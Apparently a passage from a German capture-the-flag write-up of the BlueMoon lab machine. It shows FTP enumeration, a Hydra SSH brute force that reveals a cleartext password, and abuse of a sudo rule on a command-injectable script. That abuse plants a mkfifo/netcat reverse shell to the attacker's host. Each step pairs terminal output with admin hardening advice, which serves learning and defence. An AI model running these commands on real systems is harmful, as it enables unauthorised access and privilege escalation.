messagebus:x:104:111::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
userftp:x:1001:1001::/home/userftp:/bin/sh
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
jerry:x:1002:1002::/home/jerry:/bin/bash

Analyse: Der Pentester navigiert über FTP weiter im Dateisystem und wechselt in das Verzeichnis `/home`.

Bewertung: Der Verzeichniswechsel ist erfolgreich. Das `/home`-Verzeichnis enthält die Home-Verzeichnisse der regulären Benutzer.

Empfehlung (Pentester): Den Inhalt von `/home` auflisten (`ls -la`), um die Home-Verzeichnisse der in `/etc/passwd` gefundenen Benutzer (`robin`, `jerry`, `userftp`) zu bestätigen und deren Berechtigungen zu prüfen.
Empfehlung (Admin): Sicherstellen, dass die Berechtigungen der Home-Verzeichnisse korrekt gesetzt sind (normalerweise `drwxr-xr-x` oder restriktiver), sodass Benutzer nicht auf die Verzeichnisse anderer Benutzer zugreifen können, es sei denn, dies ist beabsichtigt.

ftp> cd /home
250 Directory successfully changed.

Analyse: Der Befehl `ls -la` wird ausgeführt, um den Inhalt des `/home`-Verzeichnisses aufzulisten.

Bewertung: Die Ausgabe bestätigt die Existenz der Home-Verzeichnisse für `jerry`, `robin` und `userftp`, wie in `/etc/passwd` erwartet. Alle Verzeichnisse haben Standardberechtigungen (`drwxr-xr-x`), was bedeutet, dass der aktuelle FTP-Benutzer (`userftp`) wahrscheinlich in die Verzeichnisse von `robin` und `jerry` wechseln und deren für alle lesbaren Dateien einsehen kann.

Empfehlung (Pentester): In die Home-Verzeichnisse von `robin` und `jerry` wechseln und nach interessanten Dateien suchen (Konfigurationsdateien, Skripte, Notizen, SSH-Schlüssel, Flags).
Empfehlung (Admin): Die Notwendigkeit prüfen, dass Home-Verzeichnisse für andere Benutzer lesbar sind (`r-x` für `others`). In vielen Fällen können die Berechtigungen auf `drwx------` (700) gesetzt werden, um die Privatsphäre der Benutzer zu erhöhen.

ftp> ls -la
229 Entering Extended Passive Mode (|||52285|)
150 Here comes the directory listing.
drwxr-xr-x    5 0        0            4096 Mar 08  2021 .
drwxr-xr-x   18 0        0            4096 Mar 07  2021 ..
drwxr-xr-x    3 1002     1002         4096 Apr 04  2021 jerry
drwxr-xr-x    4 1000     1000         4096 Apr 04  2021 robin
drwxr-xr-x    3 1001     1001         4096 Mar 08  2021 userftp
226 Directory send OK.

Analyse: Der Pentester wechselt in das Home-Verzeichnis des Benutzers `robin` (`/home/robin`).

Bewertung: Der Wechsel ist erfolgreich, was bestätigt, dass der FTP-Benutzer die nötigen Leserechte für dieses Verzeichnis hat.

Empfehlung (Pentester): Den Inhalt von `/home/robin` auflisten (`ls -la`).
Empfehlung (Admin): Siehe Empfehlung zum vorherigen Schritt bezüglich der Berechtigungen von Home-Verzeichnissen.

ftp> cd robin
250 Directory successfully changed.

Analyse: Der Befehl `ls -la` wird im Verzeichnis `/home/robin` ausgeführt.

Bewertung: Mehrere interessante Dateien und Verzeichnisse werden gefunden:

Der Fund von `user1.txt` ist besonders vielversprechend.

Empfehlung (Pentester): Die Datei `user1.txt` herunterladen (`get user1.txt`). Versuchen, `.bash_history` herunterzuladen (`get .bash_history`), um die Befehlshistorie einzusehen. Das Verzeichnis `project` untersuchen (`cd project`, `ls -la`).
Empfehlung (Admin): Sensible Informationen oder Flags sollten nicht in Klartextdateien in Home-Verzeichnissen gespeichert werden. Berechtigungen für `.bash_history` sind oft standardmäßig restriktiv (`-rw-------`), was gut ist. Den Zweck des `project`-Verzeichnisses und der `user1.txt` klären.

ftp> ls -la
229 Entering Extended Passive Mode (|||34232|)
150 Here comes the directory listing.
drwxr-xr-x    4 1000     1000         4096 Apr 04  2021 .
drwxr-xr-x    5 0        0            4096 Mar 08  2021 ..
-rw-------    1 1000     1000           19 Apr 04  2021 .bash_history
-rw-r--r--    1 1000     1000          220 Mar 07  2021 .bash_logout
-rw-r--r--    1 1000     1000         3526 Mar 07  2021 .bashrc
drwxr-xr-x    3 1000     1000         4096 Mar 08  2021 .local
-rw-r--r--    1 1000     1000          807 Mar 07  2021 .profile
drwxr-xr-x    2 1000     1000         4096 Mar 08  2021 project
-rw-r--r--    1 1000     1000           69 Mar 08  2021 user1.txt
226 Directory send OK.

Analyse: Der Pentester lädt die Datei `user1.txt` aus dem Home-Verzeichnis von `robin` herunter.

Bewertung: Der Download ist erfolgreich. Die Datei ist klein (69 Bytes). Dies ist wahrscheinlich die erste Flag oder ein wichtiger Hinweis.

Empfehlung (Pentester): Den Inhalt der heruntergeladenen `user1.txt` auf dem lokalen System anzeigen (`cat user1.txt`).
Empfehlung (Admin): Flags oder sensible Daten sollten nicht auf diese Weise gespeichert und zugänglich sein. Zugriffskontrollen verstärken.

ftp> get user1.txt
local: user1.txt remote: user1.txt
229 Entering Extended Passive Mode (|||24896|)
150 Opening BINARY mode data connection for user1.txt (69 bytes).
100% |***********************************|    69      131.09 KiB/s    00:00 ETA
226 Transfer complete.
69 bytes received in 00:00 (92.94 KiB/s)

Analyse: Der Pentester versucht, die Bash-History-Datei `.bash_history` aus dem Home-Verzeichnis von `robin` herunterzuladen.

Bewertung: Der Download schlägt fehl ("550 Failed to open file."). Dies liegt wahrscheinlich an den Dateiberechtigungen. Wie in der `ls -la`-Ausgabe zuvor gesehen, hat `.bash_history` die Berechtigungen `-rw-------`, was bedeutet, dass nur der Eigentümer (`robin`) die Datei lesen (und schreiben) kann. Der FTP-Benutzer `userftp` hat keinen Lesezugriff.

Empfehlung (Pentester): Notieren, dass auf `.bash_history` nicht zugegriffen werden kann. Sich auf andere zugängliche Dateien und Verzeichnisse konzentrieren oder versuchen, SSH-Zugang als `robin` zu erlangen, um die Datei lesen zu können.
Empfehlung (Admin): Die restriktiven Standardberechtigungen für `.bash_history` sind korrekt und sollten beibehalten werden, um zu verhindern, dass andere Benutzer die Befehlshistorie einsehen können.

ftp> get .bash_history
local: .bash_history remote: .bash_history
229 Entering Extended Passive Mode (|||62633|)
550 Failed to open file.

Analyse: Der Pentester listet den Inhalt seines lokalen Arbeitsverzeichnisses auf dem Kali/Cyber-System auf (`ll` ist ein Alias für `ls -l` oder `ls -al` je nach Konfiguration).

Bewertung: Die Ausgabe zeigt die Dateien, die während des Pentests heruntergeladen oder erstellt wurden: `information.txt`, `passwd`, `p_lists.txt` und die gerade heruntergeladene `user1.txt`. Außerdem sind andere Dateien wie `Getshell.php` (der fehlgeschlagene Upload-Versuch), `hydra.restore` (eine Wiederherstellungsdatei von einem früheren Hydra-Lauf) und andere Tools/Skripte vorhanden.

Empfehlung (Pentester): Die heruntergeladene `user1.txt` nun inspizieren. Die anderen heruntergeladenen Dateien (`passwd`, `p_lists.txt`) für den nächsten Schritt (SSH Brute Force) bereithalten.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich. Dies zeigt die Arbeitsweise des Pentesters auf seinem lokalen System.

┌──(root㉿cyber)-[~] └─# ll
insgesamt 60
-rw-r--r-- 1 root root    31 29. Jun 15:44 Getshell.php
drwxr-x--- 8 root root  4096 29. Jun 22:55 HackingTools
-rw-r--r-- 1 root root 23833  1. Jul 01:03 hydra.restore
-rw-r--r-- 1 root root   147  8. Mär 2021  information.txt
-rw-r--r-- 1 root root  1534  8. Mär 2021  passwd
-rw-r--r-- 1 root root  4880 29. Jun 15:50 phpinfoexploit.py
-rw-r--r-- 1 root root   363  8. Mär 2021  p_lists.txt
-rw-r--r-- 1 root root    69  8. Mär 2021  user1.txt
drwxr-xr-x 2 root root  4096 21. Jun 00:04 vboxn_Pentesting

Analyse: Der Pentester zeigt den Inhalt der heruntergeladenen Datei `user1.txt` an.

Bewertung: Die Datei enthält die erste Flag: `Fl4g{u5er1r34ch3d5ucc355fully}`. Dies ist ein wichtiger Meilenstein im Pentest und bestätigt den erfolgreichen Zugriff auf Benutzerdaten.

Empfehlung (Pentester): Die Flag dokumentieren. Nun den Fokus auf die Eskalation der Rechte legen, um Shell-Zugriff zu erlangen und möglicherweise Root-Rechte zu bekommen. Der nächste logische Schritt ist der SSH-Brute-Force-Angriff mit den gesammelten Benutzernamen und der Passwortliste.
Empfehlung (Admin): Flags oder sensible Daten sollten sicher gespeichert und nicht für niedrig privilegierte Benutzer oder über unsichere Dienste zugänglich sein. Dateisystemberechtigungen und Dienstkonfigurationen überprüfen.

┌──(root㉿cyber)-[~] └─# cat user1.txt
You Gained User-1 Flag

 Fl4g{u5er1r34ch3d5ucc355fully}

Analyse: `hydra` wird für einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) der Zielmaschine verwendet.

Hydra findet eine existierende `.restore`-Datei, was auf einen früheren, möglicherweise abgebrochenen Versuch hindeutet, und setzt den Angriff fort.

Bewertung: Hydra ist erfolgreich! Es findet das gültige Passwort für den Benutzer `robin`: `k4rv3ndh4nh4ck3r`. Dieses Passwort war in der `p_lists.txt` enthalten. Damit ist der Weg für einen SSH-Login als Benutzer `robin` frei.

Empfehlung (Pentester): Sich sofort per SSH mit den gefundenen Zugangsdaten (`robin` / `k4rv3ndh4nh4ck3r`) auf der Zielmaschine anmelden, um eine interaktive Shell zu erhalten.
Empfehlung (Admin): Starke, einzigartige Passwörter für alle Benutzer erzwingen. SSH-Zugang möglichst auf Schlüsselauthentifizierung beschränken. Tools wie `fail2ban` installieren und konfigurieren, um Brute-Force-Angriffe auf SSH zu blockieren und zu protokollieren. Die Anzahl der Login-Versuche pro Zeitintervall begrenzen.

┌──(root㉿cyber)-[~] └─# hydra -l robin -P p_lists.txt ssh://192.168.2.123:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-01 02:10:03
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 32 tasks per 1 server, overall 32 tasks, 32 login tries (l:1/p:32), ~1 try per task
[DATA] attacking ssh://192.168.2.123:22/
[STATUS] attack finished for 192.168.2.123 (waiting for child threads to finish)
[22][ssh] host: 192.168.2.123   login: robin   password: k4rv3ndh4nh4ck3r
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 8 final worker threads did not complete until end.
[ERROR] 8 targets did not resolve or could not be connected
[ERROR] 0 target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-01 02:10:35

Analyse: Der Pentester verwendet den `ssh`-Befehl, um sich mit dem Benutzernamen `robin` und dem zuvor gefundenen Passwort auf dem Zielsystem (`blue.vln`, was zu `192.168.2.123` auflöst) anzumelden.

Bewertung: Der SSH-Login ist erfolgreich. Der ED25519-Hostkey wird zur Liste der bekannten Hosts hinzugefügt. Der Pentester erhält eine interaktive Shell als Benutzer `robin` auf dem Zielsystem `BlueMoon`. Dies ist ein entscheidender Schritt, da nun Befehle direkt auf dem Zielsystem ausgeführt werden können.

Empfehlung (Pentester): Die Shell-Umgebung erkunden: `whoami`, `id`, `pwd`, `ls -la /home/robin`, `sudo -l`. Nach Möglichkeiten zur Privilegieneskalation suchen (SUID-Binaries, Cron-Jobs, Kernel-Exploits, Fehlkonfigurationen). Die zuvor nicht lesbare `.bash_history` jetzt prüfen.
Empfehlung (Admin): SSH-Logins überwachen. Sicherstellen, dass Benutzer nur die Rechte haben, die sie benötigen. Regelmäßig nach Schwachstellen suchen und das System patchen.

┌──(root㉿cyber)-[~] └─# ssh robin@blue.vln
The authenticity of host 'blue.vln (192.168.2.123)' can't be established.
ED25519 key fingerprint is SHA256:C+Z/8na2o0LXAqk7WswSnNQya1ZPegq4Cy9DR+VXTw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'blue.vln' (ED25519) to the list of known hosts.
robin@blue.vln's password: k4rv3ndh4nh4ck3r
Linux BlueMoon 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr  4 07:43:48 2021 from 192.168.43.44
robin@BlueMoon:~$ 

Privilege Escalation

Analyse: Der Befehl `sudo -l` wird ausgeführt, um zu prüfen, welche Befehle der aktuelle Benutzer (`robin`) mit `sudo` (also mit den Rechten eines anderen Benutzers, oft `root`) ausführen darf.

Bewertung: Die Ausgabe zeigt, dass `robin` den Befehl `/home/robin/project/feedback.sh` als Benutzer `jerry` ausführen darf, und zwar ohne ein Passwort eingeben zu müssen (`NOPASSWD`). Dies ist eine klare Fehlkonfiguration und ein direkter Weg zur Privilegieneskalation zum Benutzer `jerry`.

Empfehlung (Pentester): Das Skript `/home/robin/project/feedback.sh` analysieren. Prüfen, ob `robin` Schreibrechte auf das Skript hat. Falls ja, kann das Skript durch einen bösartigen Payload (z.B. eine Reverse Shell oder einen Befehl zum Starten einer Shell als `jerry`) ersetzt werden. Anschließend das modifizierte Skript mit `sudo -u jerry /home/robin/project/feedback.sh` ausführen.
Empfehlung (Admin): `sudo`-Regeln sehr sorgfältig konfigurieren. Benutzern nur die absolut notwendigen Rechte geben. Insbesondere `NOPASSWD` sollte nur in Ausnahmefällen und für sehr spezifische, nicht manipulierbare Befehle verwendet werden. Es ist äußerst unsicher, einem Benutzer zu erlauben, ein Skript mit `sudo` auszuführen, auf das er selbst Schreibrechte hat.

robin@BlueMoon:~$ sudo -l

Matching Defaults entries for robin on BlueMoon:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User robin may run the following commands on BlueMoon:
    (jerry) NOPASSWD: /home/robin/project/feedback.sh

Analyse: Der Inhalt des Skripts `/home/robin/project/feedback.sh`, das mit `sudo -u jerry` ausgeführt werden darf, wird angezeigt.

Bewertung: Das Skript ist ein einfaches Bash-Skript, das den Benutzer nach seinem Namen und Feedback fragt. Die entscheidende Zeile ist `$feedback 2>/dev/null`. Hier wird der Inhalt der Variable `$feedback` (die Benutzereingabe) direkt als Befehl ausgeführt! Fehlermeldungen werden nach `/dev/null` umgeleitet. Dies ist eine klassische Command-Injection-Schwachstelle, die aber hier durch die `sudo`-Regel noch einfacher auszunutzen ist: Da `robin` das Skript als `jerry` ausführen darf, muss nur das Skript selbst modifiziert werden.

Empfehlung (Pentester): Die Dateiberechtigungen des Skripts prüfen (`ls -la /home/robin/project/feedback.sh`). Wenn `robin` Schreibrechte hat (was wahrscheinlich ist, da es in seinem Home-Verzeichnis liegt), das Skript mit einem Payload überschreiben, der eine Shell als `jerry` startet (z.B. `#!/bin/bash\n/bin/bash`). Dann `sudo -u jerry /home/robin/project/feedback.sh` ausführen.
Empfehlung (Admin): Das Skript `feedback.sh` sicher gestalten, indem Benutzereingaben niemals direkt als Befehle ausgeführt werden. Eingaben validieren und sanitisieren. Die `sudo`-Regel entfernen oder sicherstellen, dass das Skript nicht vom ausführenden Benutzer (`robin`) manipuliert werden kann (z.B. durch Besitz von `root` und restriktive Berechtigungen).

robin@BlueMoon:~$ cat /home/robin/project/feedback.sh
#!/bin/bash

clear
echo -e "Script For FeedBack\n"

read -p "Enter Your Name : " name
echo ""
read -p "Enter You FeedBack About This Target Machine : " feedback
echo ""
$feedback 2>/dev/null

echo -e "\nThanks For Your FeedBack...!\n"
robin@BlueMoon:~$ 

Analyse: Die Berechtigungen der Datei `/home/robin/project/feedback.sh` werden überprüft.

Bewertung: Die Ausgabe `-r-xr--r-x 1 robin robin ...` zeigt, dass die Datei dem Benutzer `robin` und der Gruppe `robin` gehört. `robin` hat jedoch nur Lese- (`r`) und Ausführungsrechte (`x`), aber keine Schreibrechte (`w`). Das bedeutet, dass `robin` das Skript nicht direkt überschreiben kann.

Empfehlung (Pentester): Prüfen, ob `robin` Schreibrechte im übergeordneten Verzeichnis `/home/robin/project` hat. Falls ja, kann das Skript möglicherweise umbenannt oder gelöscht und durch eine neue Datei gleichen Namens ersetzt werden. Alternativ könnte die Command Injection im Skript selbst ausgenutzt werden, indem beim Ausführen mit `sudo` als Feedback ein Befehl eingegeben wird, z.B. `/bin/bash`.
Empfehlung (Admin): Selbst wenn der Benutzer keine Schreibrechte auf das Skript hat, ist die `sudo`-Regel in Kombination mit der Command Injection im Skript immer noch gefährlich. Das Skript muss korrigiert oder die `sudo`-Regel entfernt werden. Idealerweise sollte das Skript `root` gehören und nur von `root` schreibbar sein, wenn es mit `sudo` verwendet wird.

robin@BlueMoon:~$ ls -la /home/robin/project/feedback.sh
-r-xr--r-x 1 robin robin 235 Mar  8  2021 /home/robin/project/feedback.sh
robin@BlueMoon:~$ 

Analyse: Der Pentester erstellt eine Testdatei (`echo "test" > test`) und versucht dann, das Skript `feedback.sh` mit dieser Testdatei zu überschreiben, indem er `mv` (move/rename) verwendet.

Bewertung: Der `mv`-Befehl fragt nach Bestätigung (`replace ...?`), was darauf hindeutet, dass `robin` tatsächlich Schreibrechte im Verzeichnis `/home/robin/project` hat und somit Dateien umbenennen oder löschen kann, auch wenn er keine direkten Schreibrechte auf `feedback.sh` selbst hat. Das Überschreiben wird hier vermutlich nicht durchgeführt (keine Bestätigung gezeigt). Dies bestätigt jedoch den Vektor: `robin` kann das Skript durch eine eigene Version ersetzen.

Empfehlung (Pentester): Den `mv`-Befehl mit der Option `-f` (force) verwenden, um die Nachfrage zu unterdrücken und das Skript direkt zu überschreiben. Zuerst eine Payload-Datei erstellen (z.B. `echo '#!/bin/bash\n/bin/bash' > payload.sh`) und dann `mv -f payload.sh /home/robin/project/feedback.sh` ausführen.
Empfehlung (Admin): Dem Benutzer `robin` die Schreibrechte im Verzeichnis `/home/robin/project` entziehen, wenn er dort keine Dateien ändern können soll, insbesondere wenn ein Skript in diesem Verzeichnis über `sudo` aufgerufen wird. Die Berechtigungen sollten restriktiver sein (`r-x` für das Verzeichnis könnte genügen).

robin@BlueMoon:~$ echo "test" > test
robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh
mv: replace '/home/robin/project/feedback.sh', overriding mode 0545 (r-xr--r-x)? 

Analyse: Diese Befehle zeigen weitere Versuche des Pentesters, das Skript zu manipulieren und zu überprüfen.

Bewertung: Der Pentester hat erfolgreich nachgewiesen, dass er das Skript `/home/robin/project/feedback.sh` durch eine beliebige Datei ersetzen kann, da er Schreibrechte im übergeordneten Verzeichnis `/home/robin/project` hat und `mv -f` verwenden kann. Der Weg zur Privilegieneskalation als `jerry` ist nun klar.

Empfehlung (Pentester): Eine neue Datei (`test` oder ein anderer Name) mit dem gewünschten Payload (z.B. Reverse Shell oder direkter Shell-Aufruf `/bin/bash`) erstellen. Diese Payload-Datei dann mittels `mv -f payload_file /home/robin/project/feedback.sh` an die Stelle des Originalskripts bewegen. Anschließend `sudo -u jerry /home/robin/project/feedback.sh` ausführen.
Empfehlung (Admin): Die Schreibrechte im Verzeichnis `/home/robin/project` für den Benutzer `robin` entfernen oder das Skript `feedback.sh` an einen Ort verschieben, auf den `robin` keinen Schreibzugriff hat (z.B. `/usr/local/bin`) und die `sudo`-Regel entsprechend anpassen. Das Skript selbst muss ebenfalls korrigiert werden (Command Injection).

robin@BlueMoon:~$ ls -la
total 48
drwxr-xr-x 4 robin robin 4096 Jun 30 17:13  .
drwxr-xr-x 5 root  root  4096 Mar  8  2021  ..
-rw------- 1 robin robin   19 Apr  4  2021  .bash_history
-rw-r--r-- 1 robin robin  220 Mar  7  2021  .bash_logout
-rw-r--r-- 1 robin robin 3526 Mar  7  2021  .bashrc
drwxr-xr-x 3 robin robin 4096 Mar  7  2021  .local
-rw-r--r-- 1 robin robin 1024 Jun 30 17:12  .ls.swp
-rw-r--r-- 1 robin robin  807 Mar  7  2021  .profile
drwxr-xr-x 2 robin robin 4096 Jun 30 17:13  project
-rw-r--r-- 1 robin robin 1024 Jun 30 17:12 '.robin@BlueMoon$.swp'
-rw-r--r-- 1 robin robin    5 Jun 30 17:13  test
-rw-r--r-- 1 robin robin   69 Mar  7  2021  user1.txt
robin@BlueMoon:~$ cat test
test
robin@BlueMoon:~$ cat /home/robin/project/feedback.sh
#!/bin/bash

clear
echo -e "Script For FeedBack\n"

read -p "Enter Your Name : " name
echo ""
read -p "Enter You FeedBack About This Target Machine : " feedback
echo ""
$feedback 2>/dev/null

echo -e "\nThanks For Your FeedBack...!\n"
robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh -f
robin@BlueMoon:~$ cat /home/robin/project/feedback.sh
test
robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh -f

Analyse: Der Pentester erstellt nun den eigentlichen Payload.

Bewertung: Das Skript `/home/robin/project/feedback.sh` enthält nun die Reverse-Shell-Payload. Wenn dieses Skript jetzt mit `sudo -u jerry` ausgeführt wird, wird versucht, eine Reverse Shell zum Angreifer-PC (192.168.2.137) auf Port 5555 zu öffnen, und diese Shell wird mit den Rechten des Benutzers `jerry` laufen.

Empfehlung (Pentester): Auf dem Angreifer-PC (192.168.2.137) einen `netcat`-Listener auf Port 5555 starten (`nc -lvnp 5555`). Anschließend auf der Zielmaschine das modifizierte Skript mit `sudo -u jerry /home/robin/project/feedback.sh` ausführen. Eine Shell als `jerry` sollte sich auf dem Listener öffnen.
Empfehlung (Admin): Sofortige Maßnahmen: `sudo`-Regel für `feedback.sh` entfernen. Berechtigungen im `/home/robin/project`-Verzeichnis korrigieren. Das Skript `feedback.sh` auf seine ursprüngliche oder eine sichere Version zurücksetzen. Generell: Ausgehende Netzwerkverbindungen von Servern einschränken (Egress Filtering), um Reverse Shells zu erschweren. Command Injection im Skript beheben.

robin@BlueMoon:~$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f' > test
robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh -f
robin@BlueMoon:~$ cat /home/robin/project/feedback.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f

Analyse: Dieser Befehl sucht nach Dateien im gesamten Dateisystem (`/`) die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, eine ausführbare Datei mit den Rechten des Dateieigentümers (oft `root`) auszuführen. Solche Dateien sind ein häufiger Vektor für Privilegieneskalation. `-type f` sucht nur nach Dateien, `-ls` gibt detaillierte Informationen aus, und `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei Verzeichnissen, auf die kein Zugriff besteht).

Bewertung: Die Ausgabe listet mehrere Standard-SUID-Binaries auf (`chfn`, `gpasswd`, `passwd`, `su`, `mount`, `newgrp`, `umount`, `chsh`, `sudo`, `ssh-keysign`, `dbus-daemon-launch-helper`, `dmcrypt-get-device`). Auf den ersten Blick scheinen dies alles legitime Systemdateien zu sein. Es sind keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien sichtbar, die direkt für einen Exploit missbraucht werden könnten (obwohl einige dieser Standard-Tools unter bestimmten Umständen für PE ausgenutzt werden können, z.B. `sudo` selbst, wenn falsch konfiguriert, oder ältere Versionen anderer Tools).

Empfehlung (Pentester): Die Liste auf ungewöhnliche Einträge prüfen (hier nicht der Fall). Die Versionen der gefundenen Standard-Tools (insbesondere `sudo`) prüfen, falls noch nicht bekannt, um nach bekannten Exploits zu suchen. Da aber bereits ein klarer Weg zur Eskalation zu `jerry` gefunden wurde, ist dies momentan weniger prioritätisch, könnte aber für die Eskalation von `jerry` zu `root` relevant werden.
Empfehlung (Admin): Regelmäßig das System auf unnötige oder unsichere SUID/SGID-Dateien überprüfen. Das SUID-Bit nur setzen, wenn es absolut notwendig ist. Sicherstellen, dass alle SUID-Programme auf dem neuesten Stand sind und keine bekannten Schwachstellen haben.

robin@BlueMoon:/home/robin/project$ find / -type f -perm -4000 -ls 2>/dev/null
       52     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
       55     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
       56     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
     3583     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
     3908     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
     3436     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
     3910     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
       53     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
    13254    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo
    13076    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
    13009     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   135717     12 -rwsr-xr-x   1 root     root          10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device

Analyse: Der Befehl `uname -a` wird ausgeführt, um detaillierte Informationen über den Kernel und das Betriebssystem zu erhalten.

Bewertung: Die Ausgabe zeigt:

Die Kernel-Version (4.19.171 von Januar 2021) ist relativ alt und könnte bekannte Schwachstellen enthalten, die zur Privilegieneskalation ausgenutzt werden können.

Empfehlung (Pentester): Nach bekannten Kernel-Exploits für Linux Kernel 4.19.x (speziell 4.19.171 oder frühere Versionen der 4.19-Serie unter Debian) suchen. Tools wie `linux-exploit-suggester` können dabei helfen. Dies ist ein alternativer Pfad zur Privilegieneskalation, falls der Weg über `sudo` fehlschlägt oder um von `jerry` zu `root` zu kommen.
Empfehlung (Admin): Das System und insbesondere den Kernel regelmäßig aktualisieren, um bekannte Schwachstellen zu schließen. Einen Zeitplan für Patch-Management implementieren.

robin@BlueMoon:/home/robin/project$ uname -a
Linux BlueMoon 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux

Analyse: Die Berechtigungen der Datei `/etc/passwd` werden überprüft.

Bewertung: Die Ausgabe `-rw-r--r-- 1 root root ...` bestätigt, dass die Datei `root` gehört und für alle Benutzer lesbar (`r--`), aber nur für `root` schreibbar (`rw-`) ist. Dies sind die Standardberechtigungen.

Empfehlung (Pentester): Keine Aktion erforderlich, bestätigt nur die Lesbarkeit der Datei, was bereits über FTP genutzt wurde.
Empfehlung (Admin): Die Standardberechtigungen für `/etc/passwd` sind korrekt und sollten beibehalten werden.

robin@BlueMoon:/opt/containerd$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1534 Mar  8  2021 /etc/passwd

Analyse: Diese Sequenz zeigt die letzten Schritte zur Ausführung des modifizierten Skripts:

Bewertung: Der Pentester hat erkannt, dass das Skript nach dem Überschreiben mit `mv` ausführbar gemacht werden muss. Nach dem `chmod +x` ist der letzte Befehl der Trigger, um die Reverse Shell (oder einen anderen Payload im Skript) mit den Rechten des Benutzers `jerry` zu starten.

Empfehlung (Pentester): Sicherstellen, dass der `netcat`-Listener auf dem Angreifer-PC läuft, bevor der letzte `sudo`-Befehl ausgeführt wird.
Empfehlung (Admin): Dringend die `sudo`-Regel und die Berechtigungen korrigieren (siehe vorherige Empfehlungen). Überwachen der `sudo`-Nutzung und der Prozessausführung auf verdächtige Aktivitäten.

robin@BlueMoon:~$ nano test
robin@BlueMoon:~$ mv test /home/robin/project/feedback.sh -f
robin@BlueMoon:~$ sudo -u jerry /home/robin/project/feedback.sh
sudo: /home/robin/project/feedback.sh: command not found
robin@BlueMoon:~$ chmod +x /home/robin/project/feedback.sh
robin@BlueMoon:~$ sudo -u jerry /home/robin/project/feedback.sh

Analyse: Dieser Block zeigt den `netcat`-Listener auf dem Angreifer-System (Kali/Cyber).

Bewertung: Die Privilegieneskalation von `robin` zu `jerry` war erfolgreich! Der Pentester hat nun die Kontrolle über das `jerry`-Konto und kann Befehle als dieser Benutzer ausführen. Die verwendete Reverse-Shell-Technik ist Standard, aber effektiv.

Empfehlung (Pentester): Die neue Shell als `jerry` stabilisieren (z.B. mit Python PTY), um eine voll interaktive Sitzung zu erhalten. Die Rechte und Gruppenzugehörigkeiten von `jerry` prüfen (`id`). Nach weiteren Wegen zur Eskalation zu `root` suchen (z.B. `sudo -l` als `jerry`, SUID-Binaries, Cron-Jobs, Kernel-Exploits, Überprüfung von Docker-Berechtigungen, falls vorhanden).
Empfehlung (Admin): Egress-Filterung implementieren, um ausgehende Verbindungen von Servern zu kontrollieren. Die `sudo`-Fehlkonfiguration, die dies ermöglicht hat, beheben. System- und Netzwerk-Monitoring zur Erkennung von Reverse Shells und ungewöhnlichen Verbindungen einrichten.

┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.123] 48358
jerry@BlueMoon:/home/robin$ 

Analyse: Der Pentester versucht, die erhaltene Shell zu verbessern oder eine alternative Shell zu starten. Die erste Zeile ist ein Versuch, eine Bash-Reverse-Shell über TCP zu einer anderen IP/Port-Kombination (Port 4444) zu starten. Die zweite Zeile wiederholt dies für Port 4445. Diese Befehle werden direkt in die `jerry`-Shell eingegeben.

Bewertung: Diese Befehle dienen oft dazu, eine stabilere oder interaktivere Shell zu erhalten als die durch die FIFO-Pipe (`mkfifo`) erzeugte. Es ist unklar, ob diese Versuche erfolgreich waren, da keine Listener-Ausgabe gezeigt wird. Es könnte auch ein Versuch sein, eine zweite Shell als Backup zu öffnen.

